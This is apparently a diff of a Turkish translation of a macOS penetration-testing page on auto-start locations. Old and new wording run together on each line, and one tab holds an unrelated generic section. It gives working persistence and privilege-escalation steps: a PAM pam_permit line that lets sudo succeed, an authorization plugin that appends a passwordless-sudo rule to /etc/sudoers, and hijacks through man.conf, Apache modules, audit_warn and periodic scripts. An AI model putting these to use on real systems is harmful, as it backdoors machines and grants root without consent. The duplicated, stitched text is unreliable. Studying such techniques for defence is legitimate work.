Bu kodu yükleyen ikili dosyanın ayrıcalıklarında (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**. Bu kodu yükleyen ikili dosyanın ayrıcalıkları içinde (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`** bulunduğundan dolayı **ortak uygulama kum havuzunun içinde olacaksınız**.
{% endhint %} {% endhint %}
Saver kodu: Koruyucu kod:
```objectivec ```objectivec
// //
// ScreenSaverExampleView.m // ScreenSaverExampleView.m
@ -1100,7 +1087,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
``` ```
### Spotlight Eklentileri ### Spotlight Eklentileri
yazı: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) ıklama: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak uygulama kum havuzunda sona ereceksiniz * Ancak uygulama kum havuzunda sona ereceksiniz
@ -1124,13 +1111,13 @@ yazı: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.gi
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Spotlight, macOS'in yerleşik arama özelliğidir ve kullanıcılara **bilgisayarlarındaki verilere hızlı ve kapsamlı erişim** sağlamak amacıyla tasarlanmıştır.\ Spotlight, macOS'in yerleşik arama özelliğidir ve kullanıcılara **bilgisayarlarındaki verilere hızlı ve kapsamlı erişim** sağlamak amacıyla tasarlanmıştır.\
Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, **özel bir veritabanı** tutar ve çoğu dosyayı **ayıklamak suretiyle bir dizin oluşturur**, böylece dosya adları ve içerikleri üzerinden hızlı aramalar yapılabilir. Bu hızlı arama yeteneğini kolaylaştırmak için Spotlight, **özel bir veritabanı** tutar ve çoğu dosyayı **açarak bir dizin oluşturur**, böylece dosya adları ve içerikleri arasında hızlı aramalar yapılabilir.
Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir ve bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinlemek gibi çeşitli bakım görevlerini yerine getiren çeşitli 'mdworker' cinleri bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içinde çeşitli dosya biçimlerini anlamasını ve dizinlemesini sağlayan Spotlight içe aktarıcı eklentileri veya **".mdimporter paketleri**" aracılığıyla mümkün hale getirilir. Spotlight'ın temel mekanizması, 'mds' adlı merkezi bir süreci içerir, bu süreç **'meta veri sunucusu'** anlamına gelir. Bu süreç, tüm Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini dizinleyen çeşitli bakım görevlerini yerine getiren birden fazla 'mdworker' cinleri bulunmaktadır (`ps -ef | grep mdworker`). Bu görevler, Spotlight içinde çeşitli dosya biçimlerini anlamak ve dizinlemek için **".mdimporter paketleri**" veya Spotlight'ın çeşitli dosya biçimlerindeki içeriği anlamasını ve dizinlemesini sağlayan eklenti eklentileri aracılığıyla mümkün hale getirilir.
Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketler, hangi **dosya türü ve uzantıları yönetebileceklerini** belirtmelidir; bu şekilde, belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda Spotlight onları kullanacaktır. Eklentiler veya **`.mdimporter`** paketleri önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketlerin hangi **dosya türü ve uzantıları yönetebileceğini** belirtmeleri gerekir, bu şekilde Spotlight belirtilen uzantıya sahip yeni bir dosya oluşturulduğunda onları kullanacaktır.
Yüklenmiş tüm `mdimporters`'ları **bulmak mümkündür:** Yüklenen **tüm `mdimporters`** bulunabilir:
```bash ```bash
mdimport -L mdimport -L
Paths: id(501) ( Paths: id(501) (
@ -1139,7 +1126,7 @@ Paths: id(501) (
"/System/Library/Spotlight/PDF.mdimporter", "/System/Library/Spotlight/PDF.mdimporter",
[...] [...]
``` ```
Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanılır (`.iba` ve `.book` uzantıları arasında): Ve örneğin **/Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları işlemek için kullanılır (uzantılar arasında `.iba` ve `.book` bulunur):
```json ```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
@ -1176,15 +1163,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...] [...]
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Başka `mdimporter`'ın Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girdisini bulamayabilirsiniz. Bu, yerleşik bir _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantıları belirtmeye gerek duymaz. Başka `mdimporter`'ın Plist'ini kontrol ederseniz, **`UTTypeConformsTo`** girişini bulamayabilirsiniz. Bu, yerleşik _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğundan ve uzantıları belirtmeye gerek duymadığından.
Ayrıca, Sistem varsayılan eklentileri her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından dizinlenmeyen dosyalara erişebilir. Ayrıca, Sistem varsayılan eklentileri her zaman önceliklidir, bu nedenle bir saldırgan yalnızca Apple'ın kendi `mdimporters` tarafından dizinlenmeyen dosyalara erişebilir.
{% endhint %} {% endhint %}
Kendi içe aktarıcınızı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı değiştirin, **`CFBundleDocumentTypes`**'ı değiştirin ve desteklemek istediğiniz uzantıları desteklemesi için **`UTImportedTypeDeclarations`** ekleyin ve bunları **`schema.xml`**'de yansıtın.\ Kendi içe aktarıcınızı oluşturmak için bu projeyi kullanmaya başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) ve ardından adı değiştirin, **`CFBundleDocumentTypes`**'ı değiştirin ve **`UTImportedTypeDeclarations`** ekleyin böylece desteklemek istediğiniz uzantıyı destekler ve bunları **`schema.xml`**'de yansıtın.\
Ardından, **`GetMetadataForFile`** işlevinin kodunu değiştirerek, işlenen uzantıya sahip bir dosya oluşturulduğunda payload'unuzu çalıştırabilirsiniz. Sonra **`GetMetadataForFile`** işlevinin kodunu değiştirin ve işlenen uzantıya sahip bir dosya oluşturulduğunda payload'ınızı yürütmesini sağlayın.
Son olarak, yeni `.mdimporter`'ınızı bir önceki konumlardan birine derleyin ve kopyalayın ve yüklendiğinde **günlükleri izleyerek** veya **`mdimport -L`** kontrol ederek kontrol edebilirsiniz. Son olarak, yeni `.mdimporter`'ınızı bir önceki konumlardan birine **derleyin ve kopyalayın** ve ne zaman yüklendiğini kontrol edebilirsiniz **logları izleyerek** veya **`mdimport -L`** kontrol ederek.
### ~~Tercih Paneli~~ ### ~~Tercih Paneli~~
@ -1208,10 +1195,10 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilb
Bu artık çalışmıyor gibi görünmüyor. Bu artık çalışmıyor gibi görünmüyor.
## Root Kum Havuzu Atlatma ## Kök Kum Havuzu Atlatma
{% hint style="success" %} {% hint style="success" %}
Burada, **kum havuzu atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da sadece bir dosyaya **yazarak** basitçe bir şeyi **yürütmenizi sağlar** ve **root** olmanızı ve/veya diğer **garip koşulları gerektirir.** Burada, **kum havuzu atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size **bir dosyaya yazarak** basitçe bir şeyi **kök** olarak yürütmenizi sağlar ve/veya diğer **garip koşullar gerektirir.**
{% endhint %} {% endhint %}
### Periyodik ### Periyodik
@ -1219,22 +1206,21 @@ Burada, **kum havuzu atlatma** için yararlı olan başlangıç konumlarını bu
ıklama: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/) ıklama: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız gerekiyor * Ancak kök olmanız gerekiyor
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum #### Konum
* `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` * `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic`
* Root gereklidir * Kök gereklidir
* **Tetikleyici**: Zaman geldiğinde * **Tetikleyici**: Zamanı geldiğinde
* `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` * `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local`
* Root gereklidir * Kök gereklidir
* **Tetikleyici**: Zaman geldiğinde * **Tetikleyici**: Zamanı geldiğinde
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılmış **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/`'de depolanan betikler dosya sahibi olarak **yürütülür**, bu nedenle bu, olası bir ayrıcalık yükseltmesi için çalışmayacaktır. Periyodik betikler (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*`'de yapılandırılmış **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` dizininde depolanan betikler dosya sahibi olarak **yürütülür**, bu nedenle bu, olası bir ayrıcalık yükseltmesi için çalışmaz.
{% code overflow="wrap" %}
```bash ```bash
# Launch daemons that will execute the periodic scripts # Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic* ls -l /System/Library/LaunchDaemons/com.apple.periodic*
@ -1277,16 +1263,16 @@ monthly_local="/etc/monthly.local" # Local scripts
Eğer `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` dosyalarından herhangi birini yazmayı başarırsanız, **er ya da geç yürütülecektir**. Eğer `/etc/daily.local`, `/etc/weekly.local` veya `/etc/monthly.local` dosyalarından herhangi birini yazmayı başarırsanız, **er ya da geç yürütülecektir**.
{% hint style="warning" %} {% hint style="warning" %}
Periyodik betik, **betiğin sahibi olarak yürütülecektir**. Dolayısıyla, eğer düzenli bir kullanıcı betiğin sahibiyse, betik o kullanıcı olarak yürütülecektir (bu, ayrıcalık yükseltme saldırılarını engelleyebilir). Periyodik betik, **betiğin sahibi olarak yürütülecektir**. Dolayısıyla, düzenli bir kullanıcı betiğin sahibiyse, betik o kullanıcı olarak yürütülecektir (bu, ayrıcalık yükseltme saldırılarını engelleyebilir).
{% endhint %} {% endhint %}
### PAM ### PAM
Yazı: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ ıklama: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Yazı: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) ıklama: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için faydalı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız gerekmektedir * Ancak root olmanız gerekiyor
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konum #### Konum
@ -1295,7 +1281,7 @@ Yazı: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.gi
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
PAM, macOS içinde kolay yürütmeden ziyade **kalıcılık** ve kötü amaçlı yazılımlara daha fazla odaklandığı için, bu blog detaylı bir açıklama sunmayacak, **bu teknik hakkında daha iyi anlamak için yazıları okuyun**. PAM, macOS içinde kolay yürütmeden ziyade **süreklilik** ve kötü amaçlı yazılım üzerinde daha fazla odaklandığından, bu blog detaylı bir açıklama sunmayacak, **bu teknik hakkında daha iyi anlamak için açıklamaları okuyun**.
PAM modüllerini kontrol etmek için: PAM modüllerini kontrol etmek için:
```bash ```bash
@ -1305,7 +1291,7 @@ Bir süreklilik/privilege escalation tekniği PAM'ı kötüye kullanarak /etc/pa
```bash ```bash
auth sufficient pam_permit.so auth sufficient pam_permit.so
``` ```
Yani bu şöyle **görünecek**: Yani bu, şuna benzer bir şey gibi görünecek:
```bash ```bash
# sudo: auth account password session # sudo: auth account password session
auth sufficient pam_permit.so auth sufficient pam_permit.so
@ -1319,7 +1305,7 @@ session required pam_permit.so
Ve dolayısıyla **`sudo` kullanma girişimi başarılı olacaktır**. Ve dolayısıyla **`sudo` kullanma girişimi başarılı olacaktır**.
{% hint style="danger" %} {% hint style="danger" %}
Bu dizin TCC tarafından korunduğundan, kullanıcının erişim isteyen bir uyarı alması oldukça olasıdır. Bu dizinin TCC tarafından korunduğunu unutmayın, bu nedenle kullanıcının erişim isteyen bir ileti alması oldukça olasıdır.
{% endhint %} {% endhint %}
### Yetkilendirme Eklentileri ### Yetkilendirme Eklentileri
@ -1339,7 +1325,7 @@ Açıklama: [https://posts.specterops.io/persistent-credential-theft-with-author
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Kullanıcı oturum açtığında kalıcılığı sürdürmek için yürütülecek bir yetkilendirme eklentisi oluşturabilirsiniz. Bu eklentilerden birini nasıl oluşturacağınız hakkında daha fazla bilgi için önceki açıklamalara bakın (ve dikkat edin, kötü yazılmış bir eklenti sizi dışarıda bırakabilir ve Mac'inizi kurtarma modundan temizlemeniz gerekebilir). Kullanıcı oturum açtığında kalıcılığı sürdürmek için yürütülecek bir yetkilendirme eklentisi oluşturabilirsiniz. Bu tür eklentilerden birini nasıl oluşturacağınız hakkında daha fazla bilgi için önceki açıklamalara bakın (ve dikkatli olun, kötü yazılmış bir eklenti sizi dışarıda bırakabilir ve Mac'inizi kurtarma modundan temizlemeniz gerekebilir).
```objectivec ```objectivec
// Compile the code and create a real bundle // Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth // gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1354,11 +1340,11 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
} }
``` ```
**Birleşimi** yüklenmesi gereken konuma taşıyın: **Bündeyi** yüklenecek konuma **taşıyın**:
```bash ```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
``` ```
Son olarak, bu Eklentiyi yüklemek için **kuralı** ekleyin: Son olarak bu Eklentiyi yüklemek için **kuralı** ekleyin:
```bash ```bash
cat > /tmp/rule.plist <<EOF cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
@ -1377,7 +1363,7 @@ EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist security authorizationdb write com.asdf.asdf < /tmp/rule.plist
``` ```
**`evaluate-mechanisms`** yetkilendirme çerçevesine dış bir mekanizmayı çağırması gerekeceğini belirtecektir. Ayrıca, **`privileged`** root tarafından yürütülmesini sağlayacaktır. **`evaluate-mechanisms`** yetkilendirme çerçevesine dış mekanizmanın çağrılması gerekeceğini belirtecektir. Dahası, **`privileged`** root tarafından yürütülmesini sağlayacaktır.
Şununla tetikleyin: Şununla tetikleyin:
```bash ```bash
@ -1399,9 +1385,9 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilb
* Root gerekli * Root gerekli
* **`/private/etc/man.conf`**: Her man kullanıldığında * **`/private/etc/man.conf`**: Her man kullanıldığında
#### Açıklama ve Sömürü #### Açıklama ve Sızma
Yapılandırma dosyası **`/private/etc/man.conf`**, man belgelendirme dosyalarını açarken kullanılacak ikili betiği gösterir. Bu nedenle yürütülecek bir arka kapı belirlenebilir, böylece kullanıcı herhangi bir belgeyi okumak için man kullandığında bir arka kapı yürütülür. Yapılandırma dosyası **`/private/etc/man.conf`**, man belgelendirme dosyalarını açarken kullanılacak ikili betiği gösterir. Bu nedenle yürütülecek bir arka kapı her zaman kullanıcı belgeleri okumak için man kullandığında değiştirilebilir.
Örneğin **`/private/etc/man.conf`** içinde ayarlanmış: Örneğin **`/private/etc/man.conf`** içinde ayarlanmış:
``` ```
@ -1422,7 +1408,7 @@ touch /tmp/manconf
* Kum havuzunu atlamak için faydalı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için faydalı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız ve apache'nin çalışıyor olması gerekmektedir * Ancak root olmanız ve apache'nin çalışıyor olması gerekmektedir
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
* Httpd'nin yetkilendirmeleri yok * Httpd'nin yetkileri yok
#### Konum #### Konum
@ -1440,13 +1426,15 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
``` ```
{% endcode %} {% endcode %}
Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme **yeni güvenilir bir sertifika eklemek** ve onunla **imzalamak**. Bu şekilde derlenmiş modülleriniz Apache tarafından yüklenecektir. Tek yapmanız gereken ya **geçerli bir Apple sertifikası ile imzalamak** ya da sisteme yeni bir güvenilir sertifika eklemek ve onunla **imzalamak**.
Ardından, gerektiğinde sunucunun başlatılacağından emin olmak için şunu çalıştırabilirsiniz: Ardından, gerektiğinde sunucunun başlatılacağından emin olmak için şunu çalıştırabilirsiniz:
```bash ```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
``` ```
```bash
Dylb için kod örneği: Dylb için kod örneği:
```
```objectivec ```objectivec
#include <stdio.h> #include <stdio.h>
#include <syslog.h> #include <syslog.h>
@ -1462,7 +1450,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
ıklama: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/) ıklama: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
* Kum havuzunu atlamak için faydalı: [🟠](https://emojipedia.org/large-orange-circle) * Kum havuzunu atlamak için kullanışlı: [🟠](https://emojipedia.org/large-orange-circle)
* Ancak root olmanız, auditd'nin çalışıyor olması ve bir uyarıya neden olmanız gerekmektedir * Ancak root olmanız, auditd'nin çalışıyor olması ve bir uyarıya neden olmanız gerekmektedir
* TCC atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC atlatma: [🔴](https://emojipedia.org/large-red-circle)
@ -1481,13 +1469,13 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
### Başlangıç Öğeleri ### Başlangıç Öğeleri
{% hint style="danger" %} {% hint style="danger" %}
**Bu kullanım dışıdır, bu yüzden bu dizinlerde hiçbir şey bulunmamalıdır.** **Bu artık kullanımdan kaldırıldı, bu yüzden bu dizinlerde hiçbir şey bulunmamalı.**
{% endhint %} {% endhint %}
**StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalıdır: **StartupItem**, ya `/Library/StartupItems/` ya da `/System/Library/StartupItems/` dizinleri içinde bulunması gereken bir dizindir. Bu dizin oluşturulduğunda, içermesi gereken iki belirli dosya bulunmalıdır:
1. Bir **rc betiği**: Başlangıçta çalıştırılan bir kabuk betiği. 1. Bir **rc betiği**: Başlangıçta çalıştırılan bir kabuk betiği.
2. **plist dosyası**, özellikle `StartupParameters.plist` adında, çeşitli yapılandırma ayarlarını içeren. 2. Çeşitli yapılandırma ayarlarını içeren, özellikle `StartupParameters.plist` adında bir **plist dosyası**.
Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyasının doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun. Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc betiğinin hem de `StartupParameters.plist` dosyasının doğru şekilde **StartupItem** dizini içine yerleştirildiğinden emin olun.
@ -1511,7 +1499,31 @@ Başlangıç işlemi tarafından bunları tanıması ve kullanması için hem rc
``` ```
{% endtab %} {% endtab %}
{% tab title="superservisadı" %} {% tab title="superservicename" %}
## MacOS Otomatik Başlatma Konumları
Bu bölümde, MacOS'ta otomatik olarak başlatılan uygulamaların bulunduğu farklı konumları ele alacağız. Bu konumlar genellikle kötü niyetli yazılımların sisteme sızmasında kullanılabilecek potansiyel zayıf noktalardır. Bu konumları düzenli olarak kontrol etmek ve gereksiz uygulamaları devre dışı bırakmak, MacOS güvenliğini artırmak için önemlidir.
### 1. Kullanıcı Oturum Açılışında Başlatılan Uygulamalar
Kullanıcı oturum açıldığında başlatılan uygulamalar, genellikle `System Preferences > Users & Groups > Login Items` bölümünde görüntülenebilir ve düzenlenebilir.
### 2. Launch Agents ve Launch Daemons
`Launch Agents` ve `Launch Daemons`, sistem düzeyinde otomatik başlatılan işlemleri yönetmek için kullanılır. Bu konumlar genellikle `/Library/LaunchAgents`, `/Library/LaunchDaemons`, `~/Library/LaunchAgents` ve `/System/Library/LaunchAgents` gibi dizinlerde bulunur.
### 3. Cron ve Launchd Görevleri
Cron ve Launchd, belirli zamanlarda veya belirli olaylar gerçekleştiğinde işlemleri otomatik olarak başlatmak için kullanılır. Bu görevler genellikle `/etc/crontab`, `/etc/cron.d`, `/etc/cron.daily`, `/etc/cron.hourly`, `/etc/cron.weekly`, `/etc/launchd.conf`, `/etc/launchd.d` gibi dizinlerde bulunabilir.
### 4. Finder Kısayolları
Finder kısayolları, belirli bir klasör açıldığında veya bir cihaz bağlandığında otomatik olarak başlatılan işlemleri içerebilir. Bu kısayollar genellikle `~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments` ve `~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments.sfl2` gibi dosyalarda bulunabilir.
Bu konumları düzenli olarak kontrol etmek ve gereksiz uygulamaları devre dışı bırakmak, MacOS sisteminin güvenliğini artırmak için önemlidir.
{% endtab %}
```bash ```bash
#!/bin/sh #!/bin/sh
. /etc/rc.common . /etc/rc.common
@ -1530,26 +1542,23 @@ echo "Restarting"
RunService "$1" RunService "$1"
``` ```
{% endtab %}
{% endtabs %}
### ~~emond~~ ### ~~emond~~
{% hint style="danger" %} {% hint style="danger" %}
Bu bileşeni macOS'ta bulamıyorum, daha fazla bilgi için writeup'a bakın Bu bileşeni macOS'ta bulamıyorum, daha fazla bilgi için yazılıma bakın
{% endhint %} {% endhint %}
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) Yazılım: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
Apple tarafından tanıtılan **emond**, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir. Apple tarafından tanıtılan **emond**, geliştirilmemiş veya muhtemelen terkedilmiş gibi görünen bir günlükleme mekanizmasıdır, ancak hala erişilebilir durumda. Mac yöneticileri için özellikle faydalı olmasa da, bu belirsiz hizmet, tehdit aktörleri için hafif bir kalıcılık yöntemi olarak hizmet edebilir ve muhtemelen çoğu macOS yöneticisi tarafından fark edilmeyebilir.
Varlığından haberdar olanlar için, **emond**'un kötüye kullanımını tespit etmek kolaydır. Bu hizmetin sistem için LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir: Varlığından haberdar olanlar için, **emond**'un kötüye kullanımını tespit etmek kolaydır. Bu hizmetin sistem LaunchDaemon'ı, yürütülecek betikleri tek bir dizinde arar. Bunun incelenmesi için aşağıdaki komut kullanılabilir:
```bash ```bash
ls -l /private/var/db/emondClients ls -l /private/var/db/emondClients
``` ```
### ~~XQuartz~~ ### ~~XQuartz~~
Yazım: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) Yazı: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
#### Konum #### Konum
@ -1564,12 +1573,12 @@ XQuartz artık macOS'ta **kurulu değil**, bu yüzden daha fazla bilgi için yaz
### ~~kext~~ ### ~~kext~~
{% hint style="danger" %} {% hint style="danger" %}
Kext'i yüklemek bile kök olarak çok karmaşıktır, bu nedenle bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (sadece bir açığız varsa) Kext'i yüklemek bile kök olarak **çok karmaşıktır**, bu yüzden bunu kum havuzlarından kaçmak veya kalıcılık için düşünmeyeceğim (elbette bir açığız varsa)
{% endhint %} {% endhint %}
#### Konum #### Konum
Bir KEXT'i başlangıç öğesi olarak yüklemek için aşağıdaki konumlardan birine **yüklü olması gerekir**: Bir KEXT'i başlangıç öğesi olarak yüklemek için, aşağıdaki konumlardan birine **yüklü olması gerekir**:
* `/System/Library/Extensions` * `/System/Library/Extensions`
* OS X işletim sistemi tarafından derlenmiş KEXT dosyaları. * OS X işletim sistemi tarafından derlenmiş KEXT dosyaları.
@ -1584,7 +1593,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle kextunload -b com.apple.driver.ExampleBundle
``` ```
Daha fazla bilgi için [**çekirdek uzantılarına bu bölüme bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). Daha fazla bilgi için [**çekirdek uzantıları kontrol etme bölümüne bakın**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
### ~~amstoold~~ ### ~~amstoold~~
@ -1597,7 +1606,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilb
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist`'den gelen `plist` bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikiliniz çağrılacaktı. Görünüşe göre `/System/Library/LaunchAgents/com.apple.amstoold.plist`'den gelen `plist` bu ikiliyi kullanıyordu ve bir XPC servisini açığa çıkarıyordu... sorun şu ki ikili mevcut değildi, bu yüzden bir şey yerleştirebilir ve XPC servisi çağrıldığında ikili çağrılacaktı.
Artık macOS'ta bunu bulamıyorum. Artık macOS'ta bunu bulamıyorum.
@ -1621,7 +1630,7 @@ Bu betiği çalıştırmak pek yaygın değil gibi görünüyor ve macOS'ta bile
**Bu modern MacOS sürümlerinde çalışmıyor** **Bu modern MacOS sürümlerinde çalışmıyor**
{% endhint %} {% endhint %}
Ayrıca buraya **başlangıçta çalıştırılacak komutlar** yerleştirmek mümkündür. Tipik bir rc.common betiği örneği: Başlangıçta **çalıştırılacak komutları buraya yerleştirmek de mümkündür.** Tipik bir rc.common betiği örneği:
```bash ```bash
# #
# Common setup for startup scripts. # Common setup for startup scripts.
@ -1721,14 +1730,14 @@ esac
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
